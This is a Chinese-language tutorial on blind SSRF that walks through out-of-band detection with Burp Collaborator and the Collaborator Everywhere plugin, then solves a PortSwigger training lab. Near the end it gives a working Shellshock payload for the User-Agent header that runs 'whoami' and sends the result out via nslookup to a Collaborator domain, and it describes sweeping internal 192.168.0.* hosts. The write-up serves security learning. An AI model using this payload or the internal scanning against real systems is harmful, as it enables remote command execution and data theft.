SSRF盲打 & Collaborator everywhere

目录

什么是盲SSRF漏洞？

如何寻找和利用盲SSRF漏洞？

SSRF盲打

Collaborator everywhere（ssrf扫描器 自动发现ssrf注入点）

SSRF via the Referer header

SSRF盲打配套靶场

ssrf盲打

Shellshock（CVE-2014-6271）

---

什么是盲SSRF漏洞？

和sql盲注一样，就是不会在响应中得到SSRF攻击的反馈

如何寻找和利用盲SSRF漏洞？

与sql盲注相同，ssrf盲打最佳利用方式就是通过带外技术接收响应结果。也是同样使用burp自带的简易带外平台collaborator。即使有一些HTTP流量会被拦截，也会因为不怎么拦截DNS流量而获取我们想要的结果。

有的情况还可以利用SSRF盲打对目标后端系统进行探测，比如探测目标网络中开放的主机及端口之类的，这些同样也可以通过带外通道接收到。

还有一种情况就是所谓的反弹shell了

SSRF盲打

利用盲ssrf漏洞进行的攻击就是SSRF盲打

如果通过ssrf我们不能直接获得响应，那么可以通过带外技术来测试是否后台发送了我们输入的url， Burp Collaborator client会生成一个域名，将可能产生ssrf的点输入该域名，如果后端存在ssrf，那么就会发送请求到Burp Collaborator client，然后Burp Collaborator client也会有记录谁访问了我，通过这种手法来发现潜在的ssrf

简单地识别可以触发带外 HTTP 请求的盲SSRF 漏洞本身并不能提供可利用性的途径。由于您无法查看来自后端请求的响应，因此无法使用该操作来探索服务器上的内容。但是，它仍然可以用来探测服务器本身或其他后端系统上的其他漏洞。您可以盲目扫荡内部 IP 地址空间，发送可以检测已知漏洞的有payload。如果这些payload（比如可以实现反弹shell或者各种带外能力比如nslookup）还使用了带外技术，那么就会发现未打补丁的内部服务器上的严重漏洞。

Collaborator everywhere（ssrf扫描器 自动发现ssrf注入点）

ssrf的注入点不仅可以在get或者post的请求参数中也可以在http请求头字段，Collaborator everywhere给可能发生ssrf的点都写入payload，如果存在ssrf，那么相应的Burp Collaborator client就会检测到，从而Collaborator everywhere就会报告这个漏洞点

Burp Collaborator client可以理解为服务器的一个可视化客户端，该服务器有DNS服务可以查询所有自己域名下子域名的ip并且好像基本都指向了自己，点击copy to clipboard可以获得该服务器的域名，poll now可以查看发送到该服务器的所有请求，如下所示3.251.104.231向我们发送了四次DNS请求

比如这个测试这个页面

这是正常的请求包

这是开启了Collaborator everywhere插件的请求包

注意要将该域名加入scope，scope里的是Collaborator everywhere的作用域

可以发现多了很多http头而且内容也都修改为了攻击者服务器的域名，只要在这些字段存在ssrf，那么就会访问相应的Burp Collaborator client，从而被Collaborator everywhere记录下来

点击forward，在sitemap该域名下就可以看到Collaborator everywhere给我们发送的存在ssrf注入的点，referer和user-agent

点进去可以看到漏洞详细信息，这个是我们发送的请求

如上可以看到网站服务器确实将收到请求的refer和useragent字段拿出来去访问了一下，可能网站是为了做行为分析等，如果配置不当就会导致ssrf

SSRF via the Referer header

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. See Blind SSRF vulnerabilities for examples of vulnerabilities involving the Referer header.

SSRF盲打配套靶场

Lab: Blind SSRF with Shellshock exploitation | Web Security Academy

网站主页如下

为了发现ssrf，先给他加入到scope中以好使用Collaborator everywhere插件

刷新网站页面，抓包

通过下面可以看出在主页面没有发现ssrf

那就看看网站其他页面

发送包之后可以看到检测到了ssrf注入点，分别在refer和user-agent字段

从它给出的详细信息可以看出来网站服务器在收到请求之后访问了refer字段的域名并且带上了原user-agent字段，这就发现了一个盲ssrf漏洞

ssrf盲打

题目给出了请用shellshock的payload进行ssrf盲打192.168.0.*:8080

Shellshock（CVE-2014-6271）

Bash 4.3以及之前的版本在处理某些特殊构造的环境变量时存在安全漏洞，向函数环境变量值后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行任意的shell命令,甚至完全控制目标系统

受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的，以“(){”开头通过环境变量来定义的。而bash在处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令

比如下面先定义了个特殊构造的“函数环境变量”（正确定义函数变量应该是foo='(){函数代码};'），然后执行bash后就会自动执行foo环境变量函数后面那块

 

ShellShock 攻击实验 - ayi111 - 博客园

详解ShellShock 漏洞复现原理，内附ShellShock的修复方法_Anprou的博客-CSDN博客_shellshock复现

先用Burp Collaborator client创建个域名

 

重新抓取存在ssrf的页面然后进行intrude，将shellshock的payload放到user-agent字段

HTTP协议的头User-Agent通常是保存在环境变量HTTP_USER_AGENT的

shellshock的payload：() { :; }; /usr/bin/nslookup whoami.YOUR-SUBDOMAIN-HERE.burpcollaborator.net

YOUR-SUBDOMAIN-HERE就是刚才Burp Collaborator client生成的域名，该payload可以将whoami的信息带外出来

开始爆破

看我们的Burp Collaborator client中有没有请求发过来

从上面可以看出来3.251.104.231向我们发送了dns请求，从而whoami信息被外带出来了